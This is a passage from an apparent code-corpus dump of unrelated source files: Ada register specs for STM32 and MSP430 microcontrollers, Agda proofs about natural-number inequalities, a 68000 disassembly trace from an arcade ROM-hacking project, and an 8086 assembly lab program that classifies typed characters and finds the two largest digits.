COUNT : SDRTR_COUNT_Field := 16#0#;
-- RES Interrupt Enable
REIE : Boolean := False;
-- unspecified
Reserved_15_31 : HAL.UInt17 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SDRTR_Register use record
CRE at 0 range 0 .. 0;
COUNT at 0 range 1 .. 13;
REIE at 0 range 14 .. 14;
Reserved_15_31 at 0 range 15 .. 31;
end record;
-------------------
-- SDSR_Register --
-------------------
----------------
-- SDSR.MODES --
----------------
-- SDSR_MODES array element
subtype SDSR_MODES_Element is HAL.UInt2;
-- SDSR_MODES array
type SDSR_MODES_Field_Array is array (1 .. 2) of SDSR_MODES_Element
with Component_Size => 2, Size => 4;
-- Type definition for SDSR_MODES
type SDSR_MODES_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MODES as a value
Val : HAL.UInt4;
when True =>
-- MODES as an array
Arr : SDSR_MODES_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SDSR_MODES_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SDRAM Status register
type SDSR_Register is record
-- Read-only. Refresh error flag
RE : Boolean;
-- Read-only. Status Mode for Bank 1
MODES : SDSR_MODES_Field;
-- Read-only. Busy status
BUSY : Boolean;
-- unspecified
Reserved_6_31 : HAL.UInt26;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SDSR_Register use record
RE at 0 range 0 .. 0;
MODES at 0 range 1 .. 4;
BUSY at 0 range 5 .. 5;
Reserved_6_31 at 0 range 6 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- Flexible memory controller
type FMC_Peripheral is record
-- SRAM/NOR-Flash chip-select control register 1
BCR1 : BCR1_Register;
-- SRAM/NOR-Flash chip-select timing register 1
BTR1 : BTR_Register;
-- SRAM/NOR-Flash chip-select control register 2
BCR2 : BCR_Register;
-- SRAM/NOR-Flash chip-select timing register 2
BTR2 : BTR_Register;
-- SRAM/NOR-Flash chip-select control register 3
BCR3 : BCR_Register;
-- SRAM/NOR-Flash chip-select timing register 3
BTR3 : BTR_Register;
-- SRAM/NOR-Flash chip-select control register 4
BCR4 : BCR_Register;
-- SRAM/NOR-Flash chip-select timing register 4
BTR4 : BTR_Register;
-- PC Card/NAND Flash control register 2
PCR2 : PCR_Register;
-- FIFO status and interrupt register 2
SR2 : SR_Register;
-- Common memory space timing register 2
PMEM2 : PMEM_Register;
-- Attribute memory space timing register 2
PATT2 : PATT_Register;
-- ECC result register 2
ECCR2 : HAL.Word;
-- PC Card/NAND Flash control register 3
PCR3 : PCR_Register;
-- FIFO status and interrupt register 3
SR3 : SR_Register;
-- Common memory space timing register 3
PMEM3 : PMEM_Register;
-- Attribute memory space timing register 3
PATT3 : PATT_Register;
-- ECC result register 3
ECCR3 : HAL.Word;
-- PC Card/NAND Flash control register 4
PCR4 : PCR_Register;
-- FIFO status and interrupt register 4
SR4 : SR_Register;
-- Common memory space timing register 4
PMEM4 : PMEM_Register;
-- Attribute memory space timing register 4
PATT4 : PATT_Register;
-- I/O space timing register 4
PIO4 : PIO4_Register;
-- SRAM/NOR-Flash write timing registers 1
BWTR1 : BWTR_Register;
-- SRAM/NOR-Flash write timing registers 2
BWTR2 : BWTR_Register;
-- SRAM/NOR-Flash write timing registers 3
BWTR3 : BWTR_Register;
-- SRAM/NOR-Flash write timing registers 4
BWTR4 : BWTR_Register;
-- SDRAM Control Register 1
SDCR1 : SDCR_Register;
-- SDRAM Control Register 2
SDCR2 : SDCR_Register;
-- SDRAM Timing register 1
SDTR1 : SDTR_Register;
-- SDRAM Timing register 2
SDTR2 : SDTR_Register;
-- SDRAM Command Mode register
SDCMR : SDCMR_Register;
-- SDRAM Refresh Timer register
SDRTR : SDRTR_Register;
-- SDRAM Status register
SDSR : SDSR_Register;
end record
with Volatile;
for FMC_Peripheral use record
BCR1 at 0 range 0 .. 31;
BTR1 at 4 range 0 .. 31;
BCR2 at 8 range 0 .. 31;
BTR2 at 12 range 0 .. 31;
BCR3 at 16 range 0 .. 31;
BTR3 at 20 range 0 .. 31;
BCR4 at 24 range 0 .. 31;
BTR4 at 28 range 0 .. 31;
PCR2 at 96 range 0 .. 31;
SR2 at 100 range 0 .. 31;
PMEM2 at 104 range 0 .. 31;
PATT2 at 108 range 0 .. 31;
ECCR2 at 116 range 0 .. 31;
PCR3 at 128 range 0 .. 31;
SR3 at 132 range 0 .. 31;
PMEM3 at 136 range 0 .. 31;
PATT3 at 140 range 0 .. 31;
ECCR3 at 148 range 0 .. 31;
PCR4 at 160 range 0 .. 31;
SR4 at 164 range 0 .. 31;
PMEM4 at 168 range 0 .. 31;
PATT4 at 172 range 0 .. 31;
PIO4 at 176 range 0 .. 31;
BWTR1 at 260 range 0 .. 31;
BWTR2 at 268 range 0 .. 31;
BWTR3 at 276 range 0 .. 31;
BWTR4 at 284 range 0 .. 31;
SDCR1 at 320 range 0 .. 31;
SDCR2 at 324 range 0 .. 31;
SDTR1 at 328 range 0 .. 31;
SDTR2 at 332 range 0 .. 31;
SDCMR at 336 range 0 .. 31;
SDRTR at 340 range 0 .. 31;
SDSR at 344 range 0 .. 31;
end record;
-- Flexible memory controller
FMC_Periph : aliased FMC_Peripheral
with Import, Address => FMC_Base;
end STM32_SVD.FSMC;
|
Numbers/Naturals/Order/Lemmas.agda | Smaug123/agdaproofs | 4 | 5386 | <filename>Numbers/Naturals/Order/Lemmas.agda
{-# OPTIONS --warning=error --safe --without-K #-}
open import LogicalFormulae
open import Semirings.Definition
open import Numbers.Naturals.Order
open import Numbers.Naturals.Semiring
module Numbers.Naturals.Order.Lemmas where
open Semiring ℕSemiring
inequalityShrinkRight : {a b c : ℕ} → a +N b <N c → b <N c
inequalityShrinkRight {a} {b} {c} (le x proof) = le (x +N a) (transitivity (applyEquality succ (equalityCommutative (Semiring.+Associative ℕSemiring x a b))) proof)
inequalityShrinkLeft : {a b c : ℕ} → a +N b <N c → a <N c
inequalityShrinkLeft {a} {b} {c} (le x proof) = le (x +N b) (transitivity (applyEquality succ (transitivity (equalityCommutative (Semiring.+Associative ℕSemiring x b a)) (applyEquality (x +N_) (Semiring.commutative ℕSemiring b a)))) proof)
productCancelsRight : (a b c : ℕ) → (zero <N a) → (b *N a ≡ c *N a) → (b ≡ c)
productCancelsRight a zero zero aPos eq = refl
productCancelsRight zero zero (succ c) (le x ()) eq
productCancelsRight (succ a) zero (succ c) aPos eq = contr
where
h : zero ≡ succ c *N succ a
h = eq
contr : zero ≡ succ c
contr = exFalso (naughtE h)
productCancelsRight zero (succ b) zero (le x ()) eq
productCancelsRight (succ a) (succ b) zero aPos eq = contr
where
h : succ b *N succ a ≡ zero
h = eq
contr : succ b ≡ zero
contr = exFalso (naughtE (equalityCommutative h))
productCancelsRight zero (succ b) (succ c) (le x ()) eq
productCancelsRight (succ a) (succ b) (succ c) aPos eq = applyEquality succ (productCancelsRight (succ a) b c aPos l)
where
i : succ a +N b *N succ a ≡ succ c *N succ a
i = eq
j : succ c *N succ a ≡ succ a +N c *N succ a
j = refl
k : succ a +N b *N succ a ≡ succ a +N c *N succ a
k = transitivity i j
l : b *N succ a ≡ c *N succ a
l = canSubtractFromEqualityLeft {succ a} {b *N succ a} {c *N succ a} k
productCancelsLeft : (a b c : ℕ) → (zero <N a) → (a *N b ≡ a *N c) → (b ≡ c)
productCancelsLeft a b c aPos pr = productCancelsRight a b c aPos j
where
i : b *N a ≡ a *N c
i = identityOfIndiscernablesLeft _≡_ pr (multiplicationNIsCommutative a b)
j : b *N a ≡ c *N a
j = identityOfIndiscernablesRight _≡_ i (multiplicationNIsCommutative a c)
productCancelsRight' : (a b c : ℕ) → (b *N a ≡ c *N a) → (a ≡ zero) || (b ≡ c)
productCancelsRight' zero b c pr = inl refl
productCancelsRight' (succ a) b c pr = inr (productCancelsRight (succ a) b c (succIsPositive a) pr)
productCancelsLeft' : (a b c : ℕ) → (a *N b ≡ a *N c) → (a ≡ zero) || (b ≡ c)
productCancelsLeft' zero b c pr = inl refl
productCancelsLeft' (succ a) b c pr = inr (productCancelsLeft (succ a) b c (succIsPositive a) pr)
subtractionPreservesInequality : {a b : ℕ} → (c : ℕ) → a +N c <N b +N c → a <N b
subtractionPreservesInequality {a} {b} zero prABC rewrite commutative a 0 | commutative b 0 = prABC
subtractionPreservesInequality {a} {b} (succ c) (le x proof) = le x (canSubtractFromEqualityRight {b = succ c} (transitivity (equalityCommutative (+Associative (succ x) a (succ c))) proof))
cancelInequalityLeft : {a b c : ℕ} → a *N b <N a *N c → b <N c
cancelInequalityLeft {a} {zero} {zero} (le x proof) rewrite (productZeroRight a) = exFalso (naughtE (equalityCommutative proof))
cancelInequalityLeft {a} {zero} {succ c} pr = succIsPositive c
cancelInequalityLeft {a} {succ b} {zero} (le x proof) rewrite (productZeroRight a) = exFalso (naughtE (equalityCommutative proof))
cancelInequalityLeft {a} {succ b} {succ c} pr = succPreservesInequality q'
where
p' : succ b *N a <N succ c *N a
p' = canFlipMultiplicationsInIneq {a} {succ b} {a} {succ c} pr
p'' : b *N a +N a <N succ c *N a
p'' = identityOfIndiscernablesLeft _<N_ p' (commutative a (b *N a))
p''' : b *N a +N a <N c *N a +N a
p''' = identityOfIndiscernablesRight _<N_ p'' (commutative a (c *N a))
p : b *N a <N c *N a
p = subtractionPreservesInequality a p'''
q : a *N b <N a *N c
q = canFlipMultiplicationsInIneq {b} {a} {c} {a} p
q' : b <N c
q' = cancelInequalityLeft {a} {b} {c} q
<NProp : {a b : ℕ} → .(a <N b) → a <N b
<NProp {zero} {succ b} a<b = succIsPositive _
<NProp {succ a} {succ b} a<b = succPreservesInequality (<NProp (canRemoveSuccFrom<N a<b))
zeroLeast : {m n : ℕ} → m <N n → 0 <N n
zeroLeast {zero} m<n = m<n
zeroLeast {succ m} {succ n} m<n = le n (applyEquality succ (Semiring.sumZeroRight ℕSemiring n))
|
msp430x2/msp430g2452/svd/msp430_svd-calibration_data.ads | ekoeppen/MSP430_Generic_Ada_Drivers | 0 | 3901 | <filename>msp430x2/msp430g2452/svd/msp430_svd-calibration_data.ads
-- This spec has been automatically generated from out.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with System;
-- Calibration Data
package MSP430_SVD.CALIBRATION_DATA is
pragma Preelaborate;
---------------
-- Registers --
---------------
-----------------
-- Peripherals --
-----------------
-- Calibration Data
type CALIBRATION_DATA_Peripheral is record
-- DCOCTL Calibration Data for 16MHz
CALDCO_16MHZ : aliased MSP430_SVD.Byte;
-- BCSCTL1 Calibration Data for 16MHz
CALBC1_16MHZ : aliased MSP430_SVD.Byte;
-- DCOCTL Calibration Data for 12MHz
CALDCO_12MHZ : aliased MSP430_SVD.Byte;
-- BCSCTL1 Calibration Data for 12MHz
CALBC1_12MHZ : aliased MSP430_SVD.Byte;
-- DCOCTL Calibration Data for 8MHz
CALDCO_8MHZ : aliased MSP430_SVD.Byte;
-- BCSCTL1 Calibration Data for 8MHz
CALBC1_8MHZ : aliased MSP430_SVD.Byte;
-- DCOCTL Calibration Data for 1MHz
CALDCO_1MHZ : aliased MSP430_SVD.Byte;
-- BCSCTL1 Calibration Data for 1MHz
CALBC1_1MHZ : aliased MSP430_SVD.Byte;
end record
with Volatile;
for CALIBRATION_DATA_Peripheral use record
CALDCO_16MHZ at 16#0# range 0 .. 7;
CALBC1_16MHZ at 16#1# range 0 .. 7;
CALDCO_12MHZ at 16#2# range 0 .. 7;
CALBC1_12MHZ at 16#3# range 0 .. 7;
CALDCO_8MHZ at 16#4# range 0 .. 7;
CALBC1_8MHZ at 16#5# range 0 .. 7;
CALDCO_1MHZ at 16#6# range 0 .. 7;
CALBC1_1MHZ at 16#7# range 0 .. 7;
end record;
-- Calibration Data
CALIBRATION_DATA_Periph : aliased CALIBRATION_DATA_Peripheral
with Import, Address => CALIBRATION_DATA_Base;
end MSP430_SVD.CALIBRATION_DATA;
|
dino/lcs/etc/4.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | 6 | 177590 | <reponame>zengfr/arcade_game_romhacking_sourcecode_top_secret_data
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
00494C move.l D0, (A4)+
00494E move.l D0, (A4)+
004D3A move.l D0, (A4)+
004D3C move.l D0, (A4)+
010D5E move.l #$4000000, ($4,A3) [etc+ 2]
010D66 clr.b ($7a,A3) [etc+ 4, etc+ 6]
0124BA move.l #$2020000, ($4,A3) [etc+ 0]
0124C2 clr.b ($7a,A3) [etc+ 4, etc+ 6]
074FB6 addq.b #2, ($4,A6)
074FBA move.b #$1, ($1,A6) [etc+ 4]
075040 addq.b #2, ($4,A6)
075044 rts [etc+ 4]
07529E addq.b #2, ($4,A6)
0752A2 bsr $752b2 [etc+ 4]
0752C0 move.b #$6, ($4,A6)
0752C6 rts [etc+ 4]
075440 addq.b #2, ($4,A6)
075444 move.b #$f, ($a0,A6) [etc+ 4]
0754EC addq.b #2, ($4,A6)
0754F0 rts [etc+ 4]
076D38 addq.b #2, ($4,A6)
076D3C rts [etc+ 4]
076D94 addq.b #2, ($4,A6)
076D98 move.b #$40, ($a0,A6) [etc+ 4]
0789EE move.b ($4,A6), D0
0789F2 move.w ($6,PC,D0.w), D1 [etc+ 4]
078A20 addq.b #2, ($4,A6) [etc+6E]
078A24 move.b #$3, ($80,A6) [etc+ 4]
078A32 addq.b #2, ($4,A6)
078A36 rts [etc+ 4]
078A54 addq.b #2, ($4,A6)
078A58 rts [etc+ 4]
078B5A move.b ($4,A6), D0
078B5E move.w (A0,D0.w), D0 [etc+ 4]
078B76 addq.b #2, ($4,A6)
078B7A move.b #$1, ($a0,A6) [etc+ 4]
078BA6 addq.b #2, ($4,A6)
078BAA rts [etc+ 4]
078FE6 addq.b #2, ($4,A6) [etc+6E]
078FEA moveq #$0, D0 [etc+ 4]
079034 addq.b #2, ($4,A6) [etc+A0]
079038 rts [etc+ 4]
07B0E2 addq.b #2, ($4,A6)
07B0E6 move.w #$8, ($a0,A6) [etc+ 4]
07B0F4 addq.b #2, ($4,A6)
07B0F8 rts [etc+ 4]
07B102 addq.b #2, ($4,A6)
07B106 rts [etc+ 4]
07B260 addq.b #2, ($4,A6)
07B264 move.w #$40, ($8,A6) [etc+ 4]
07B276 addq.b #2, ($4,A6) [etc+10]
07B27A bsr $7b2a4 [etc+ 4]
07B29E addq.b #2, ($4,A6)
07B2A2 rts [etc+ 4]
07B336 move.b ($4,A6), D0
07B33A move.w ($6,PC,D0.w), D0 [etc+ 4]
07B376 addq.b #2, ($4,A6)
07B37A rts [etc+ 4]
07B45C move.w #$200, ($4,A6) [base+50C]
07B462 rts [etc+ 4]
07B4EA move.w #$600, ($4,A6)
07B4F0 rts [etc+ 4]
07B4FE move.w #$600, ($4,A6)
07B504 rts [etc+ 4]
07B512 move.w #$600, ($4,A6)
07B518 rts [etc+ 4]
07B556 move.b ($4,A6), D0
07B55A move.w ($6,PC,D0.w), D1 [etc+ 4]
07B56A addq.b #2, ($4,A6)
07B56E movea.l ($54,PC) ; ($7b5c4), A0 [etc+ 4]
07B6D8 addq.b #2, ($4,A6) [etc+A8]
07B6DC tst.b ($5,A6) [etc+ 4]
07B798 move.w #$200, ($4,A6)
07B79E rts [etc+ 4]
07BB70 move.b ($4,A6), D0
07BB74 move.w ($6,PC,D0.w), D0 [etc+ 4]
07BB96 addq.b #2, ($4,A6) [base+4FE]
07BB9A move.w ($4fe,A5), D0 [etc+ 4]
07BD42 move.b ($4,A6), D0
07BD46 move.w ($6,PC,D0.w), D0 [etc+ 4]
07BD56 addq.b #2, ($4,A6)
07BD5A move.b #$2, ($81,A6) [etc+ 4]
07BDA8 addq.b #2, ($4,A6)
07BDAC rts [etc+ 4]
07BDC4 move.b ($4,A6), D0
07BDC8 move.w ($6,PC,D0.w), D0 [etc+ 4]
07BDD8 addq.b #2, ($4,A6)
07BDDC bsr $7bdea [etc+ 4]
07BDE4 addq.b #2, ($4,A6)
07BDE8 rts [etc+ 4]
07BF30 addq.b #2, ($4,A6)
07BF34 rts [etc+ 4]
07C0CE move.b #$6, ($4,A6)
07C0D4 clr.b ($7a9,A5) [etc+ 4]
07E7D2 addq.b #2, ($4,A6)
07E7D6 jsr $48a8.l [etc+ 4]
07E860 addq.b #2, ($4,A6)
07E864 movea.l ($58,A6), A3 [etc+ 4]
07E8DE addq.b #2, ($4,A6)
07E8E2 rts [etc+ 4]
07EBBC addq.b #2, ($4,A6)
07EBC0 jsr $48a8.l [etc+ 4]
07EBF8 addq.b #2, ($4,A6)
07EBFC jmp $49c0.l [etc+ 4]
07EC0A addq.b #2, ($4,A6)
07EC0E movea.l ($58,A6), A3 [etc+ 4]
07EC5C move.b #$2, ($4,A6)
07EC62 move.b #$2, ($0,A6) [etc+ 4]
07EEAE addq.b #2, ($4,A6)
07EEB2 rts [etc+ 4]
07EECE addq.b #2, ($4,A6)
07EED2 move.b #$f, ($a0,A6) [etc+ 4]
07EF06 addq.b #2, ($4,A6)
07EF0A rts [etc+ 4]
081046 move.b ($4,A6), D0
08104A move.w ($6,PC,D0.w), D1 [etc+ 4]
0810B2 addq.b #2, ($4,A6) [etc+25]
0810B6 bra $8114e [etc+ 4]
0836A4 move.b ($4,A6), D0
0836A8 move.w ($6,PC,D0.w), D0 [etc+ 4]
0836B8 addq.b #2, ($4,A6)
0836BC move.b #$1, ($1,A6) [etc+ 4]
0844FE addq.b #2, ($4,A6)
084502 rts [etc+ 4]
084F66 addq.b #2, ($4,A6)
084F6A rts [etc+ 4]
086D76 move.b ($4,A6), D0
086D7A move.w ($6,PC,D0.w), D1 [etc+ 4]
086DA8 addq.b #2, ($4,A6)
086DAC move.w ($26,A6), D1 [etc+ 4]
0871F6 addq.b #2, ($4,A6)
0871FA rts [etc+ 4]
08881A move.b ($4,A6), D0
08881E move.w ($6,PC,D0.w), D1 [etc+ 4]
08882E addq.b #2, ($4,A6)
088832 move.w ($26,A6), D0 [etc+ 4]
0888B2 move.b ($4,A6), D0
0888B6 move.w ($6,PC,D0.w), D1 [etc+ 4]
0888C6 addq.b #2, ($4,A6)
0888CA bsr $88922 [etc+ 4]
088A42 move.b #$4, ($4,A6)
088A48 jmp $49c0.l [etc+ 4]
088A84 move.b ($4,A6), D0
088A88 move.w ($6,PC,D0.w), D1
089998 move.b #$2, ($4,A6)
08999E move.b #$2, ($0,A6) [etc+ 4]
0899F0 move.b #$4, ($4,A6)
0899F6 bra $89ab2 [etc+ 4]
089ABA move.b ($4,A6), D0
089ABE move.w ($6,PC,D0.w), D1 [etc+ 4]
089ACE move.b #$2, ($4,A6)
089AD4 move.b #$2, ($0,A6) [etc+ 4]
089B48 move.b ($4,A6), D0
089B4C move.w ($6,PC,D0.w), D1 [etc+ 4]
089B5C move.b #$2, ($4,A6)
089B62 move.b #$2, ($0,A6) [etc+ 4]
089EF2 move.b #$2, ($4,A6)
089EF8 move.b #$2, ($0,A6) [etc+ 4]
089FD6 addi.b #$2, ($4,A6) [base+7E4]
089FDC rts [etc+ 4]
08A596 move.b #$2, ($4,A6)
08A59C move.w #$78, ($a0,A6) [etc+ 4]
08BE60 addq.b #2, ($4,A6)
08BE64 rts [etc+ 4]
08C08C move.w #$200, ($4,A6)
08C092 clr.b ($4d5,A5) [etc+ 4]
08C1E0 move.l #$4000000, ($4,A6)
08C1E8 rts [etc+ 4, etc+ 6]
08C1FC move.w #$200, ($4,A6)
08C202 move.b #$1, ($0,A6) [etc+ 4]
08C878 move.w #$600, ($4,A6)
08C87E rts [etc+ 4]
091FE4 move.b #$2, ($4,A6)
091FEA move.w #$12c, ($a0,A6) [etc+ 4]
0921A6 move.b #$2, ($4,A6)
0921AC rts [etc+ 4]
0921EE move.b #$2, ($4,A6)
0921F4 move.w #$128, ($a0,A6) [etc+ 4]
092234 addq.b #2, ($4,A6)
092238 move.w ($26,A6), D0 [etc+ 4]
092396 addq.b #2, ($4,A6)
09239A jsr $a5ea.l [etc+ 4]
0923AC addq.b #2, ($4,A6)
0923B0 moveq #$0, D0 [etc+ 4]
0A6612 addq.b #2, ($4,A6)
0A6616 rts [etc+ 4]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
3-8086/ex3.asm | etzinis/micro_lab_ntua | 0 | 169692 | <gh_stars>0
; You may customize this and other start-up templates;
; The location of this template is c:\emu8086\inc\0_com_template.txt
READ MACRO
MOV AH,8
INT 21H
ENDM
PRINT_STR MACRO STRING
MOV DX,OFFSET STRING
MOV AH,9
INT 21H
ENDM
PRINT MACRO CHAR
MOV DL,CHAR
MOV AH,2H
INT 21H
ENDM
PRINT_MESSAGE MACRO MESSAGE
PRINT_STR MESSAGE
PRINT_STR NEWLINE
ENDM
PRINT_ARRAY MACRO ARRAY, INDEXR
LOCAL CHECKNEXT, EXIT_PRINT_ARRAY
MOV BX,OFFSET ARRAY
MOV CX,00H
MOV CL,INDEXR ;CL=COUNTER OF STORE ARRAY
CMP CL,00H ;IF CL IS ZERO THEN YOU DONT HAVE TO PRINT ANYTHING
JZ EXIT_PRINT_ARRAY
CHECKNEXT:
MOV DL,[BX]
PRINT DL ;PRINT THE CHECKING CELL
INC BX ;SHOW TO THE NEXT CELL
LOOP CHECKNEXT ;DO THAT FOR THE WHOLE ARRAY
EXIT_PRINT_ARRAY:
ENDM
UPDATE MACRO ARRAY, INDEXR ;IN THIS MACRO WE SUPPOSE THAT AL HAS THE VALUE WE WANT TO
MOV BX,OFFSET ARRAY ;INITIALIZE IT TO THE FIRST ELEMENT OF ARRAY
MOV DL,INDEXR ;THE INDEX OF THE ARRAY
MOV DH,00H
ADD BX,DX ;BX IS IN THE NEXT POSITION WE WANT TO STORE
MOV [BX],AL ;OF COURSE AL HAS THE VALID INPUT NUMBER OR CHARACTER
INC INDEXR ;COUNTER ++
ENDM
DATA SEGMENT
BUFFER DB "01234567890123"
NUMBERS DB "01234567890123" ;BUFFER HAS 14 CELLS FOR EVERY POSSIBLE INPUT
LOWERCASE DB "aaaaaaaaaaaaaa"
UPPERCASE DB "AAAAAAAAAAAAAA"
INDEXN DB 0
INDEXL DB 0
INDEXU DB 0
INDEXB DB 0
MAX1 DB 0
MAX2 DB 0
WELC DB "PLEASE INSERT 14 CHARACTERS a-z OR A-Z OR ANY DECIMAL DIGITS",0AH,0DH,'$'
MSG1 DB "~YOU INSERTED~ $"
MSG2 DB "~LOWERCASE DIGITS UPPERCASE~ $"
MSG3 DB "~MAX1 MAX2~ $"
NO_DIG DB "~YOU HAVE NOT ENTERED ANY DIGITS!~ $"
ONLY_ONE DB "~YOU HAVE ENTERED ONLY ONE DIGIT SO ITS THE MAX AS WELL~ $"
BYE DB "ADIOS AMIGOS $"
NEWLINE DB 0AH,0DH,'$'
DATA ENDS
CODE SEGMENT
ASSUME CS:CODE,DS:DATA
MAIN PROC FAR
MOV AX,DATA
MOV DS,AX
START: PRINT_STR WELC
MOV INDEXB,00H ;WE WANT THE LOOP TO HAPPEN 14 DEC TIMES
MOV INDEXN,00H
MOV INDEXU,00H ;INDEXES INITIALIZATION
MOV INDEXL,00H
MOV MAX1,30H
MOV MAX2,30H ;INITIALIZE THE MAXIMUM VALUES IN ZERO (30H IN ASCII)
LOOPA: READ ;READ A CHAR WE STORE IT IN AL
CMP AL,'=' ;CHECK IF WE HAVE PRESSED '=' THAT MEANS TERMINATE THE PROGRAM
JZ TERMINATE
CMP AL,0DH ;CHECK IF WE HAVE PRESSED ENTER
JZ ENTER
CMP AL,'0'
JL LOOPA ;IF IT HAS ASCII CODE < 0 ITS NOT VALID
CMP AL,'9'
JLE DIGIT ;IF IT IS BETWEEN 0 AND 9 ITS A DIGIT
CMP AL,'A' ;IF ITS NOT A NUMBER AND ITS CODE < CODE(A) THEN NOT VALID
JL LOOPA
CMP AL,'Z' ;IF ITS BETWEEN A , Z ITS A VALID UPPERCASE LETTER THEN SAVE IT
JLE UPPERC
CMP AL,'a' ;IF ITS NOT A NUMBER AND ITS CODE < CODE(a) THEN NOT VALID
JL LOOPA
CMP AL,'z' ;IF ITS BETWEEN a , z ITS A VALID LOWERCASE LETTER THEN SAVE IT
JG LOOPA ;ELSE IGNORE IT
JMP LOWERC
DIGIT:
FIRST_MAX: ;INPUT NUMBER IS IN AL
CMP AL,MAX1
JL CONTINUE
MOV MAX1,AL
CONTINUE:
UPDATE NUMBERS, INDEXN
JMP SAVE_IT
UPPERC: UPDATE UPPERCASE, INDEXU
JMP SAVE_IT
LOWERC: UPDATE LOWERCASE, INDEXL
SAVE_IT:UPDATE BUFFER, INDEXB
CMP INDEXB,0DH ;WE WILL SAVE IT ONLY 14 DEC TIMES THEN WE OUTPUT
JZ WAIT_FOR_IT ;IF WE HAVE 14 CHARACTERS OR NUMBER THEN WAIT FOR ENTER TO SHOW IT
JMP LOOPA ;ALL THE BUFFER INPUT ANYWAY
WAIT_FOR_IT:
READ ;READ A CHAR WE STORE IT IN AL
CMP AL,'=' ;CHECK IF WE HAVE PRESSED '=' THAT MEANS TERMINATE THE PROGRAM
JZ TERMINATE
CMP AL,0DH ;CHECK IF WE HAVE PRESSED ENTER
JNZ WAIT_FOR_IT
ENTER: PRINT_MESSAGE MSG1
PRINT_ARRAY BUFFER, INDEXB ;CALL THE MACRO TO SHOW ALL THE INPUT CHARS OR DIGITS
PRINT_STR NEWLINE
PRINT_MESSAGE MSG2
PRINT_ARRAY LOWERCASE, INDEXL ;SHOW ONLY THE LOWERCASE CHARACTERS THAT YOU HAVE ENTERED
CMP INDEXL,00H
JZ CONTROL1 ;DONT OUTPUT ANY SPACES IF WE DONT HAVE LOWERCASE CHARS
PRINT ' '
CONTROL1:
PRINT_ARRAY NUMBERS, INDEXN ;ONLY THE NUMBERS
CMP INDEXN,00H
JZ CONTROL2 ;DONT OUTPUT ANY SPACES IF WE DONT HAVE DIGITS
PRINT ' '
CONTROL2:
PRINT_ARRAY UPPERCASE, INDEXU ;ONLY THE UPPERCASE CHARACTERS
PRINT_STR NEWLINE
FIND_THE_MAX:
CMP INDEXN, 00H
JNZ HAS_1
PRINT_MESSAGE NO_DIG
JMP EXIT
HAS_1: CMP INDEXN, 01H
JNZ HAS_2_OR_MORE
PRINT_MESSAGE ONLY_ONE
PRINT MAX1
JMP FOUND_MAX
HAS_2_OR_MORE:
DO_MAX1_ZERO:
MOV BX,OFFSET NUMBERS
MOV CH,00H
MOV CL,INDEXN ;CL=COUNTER OF NUMBERS ARRAY
NEXT:
MOV DL,[BX]
CMP DL,MAX1
JNZ CONT ;IF WE DID NOT FIND MAX1 THEN CHECK THE NEXT DIGIT
MOV [BX],30H ;ELSE DO IT ZERO (30H)
JMP EXIT_DO_MAX1_ZERO
CONT: INC BX ;SHOW TO THE NEXT CELL
LOOP NEXT ;DO THAT FOR THE WHOLE ARRAY
EXIT_DO_MAX1_ZERO:
FIND_MAX2: ;NOW WE HAVE GET RID OFF MAX1 IN THE ARRAY SO WE JUST HAVE TO FIND THE MAX OF THESE VALUES
MOV BX,OFFSET NUMBERS
MOV CH,00H
MOV CL,INDEXN ;CL=COUNTER OF NUMBERS ARRAY
MOV MAX2,30H ;INITIALIZE MAX2 IN ZERO VALUE
NEXTF:
MOV DL,[BX]
CMP DL,MAX2
JLE CONTF ;IF WE DID FIND A DIGIT LESS OR EQUAL THAN MAX2 THEN CHECK THE NEXT DIGIT
MOV MAX2,DL ;ELSE MAX2 <-THIS DIGIT
CONTF: INC BX ;SHOW TO THE NEXT CELL
LOOP NEXTF ;DO THAT FOR THE WHOLE ARRAY
PRINT_MESSAGE MSG3
PRINT MAX1
PRINT ' '
PRINT MAX2
FOUND_MAX: PRINT_STR NEWLINE
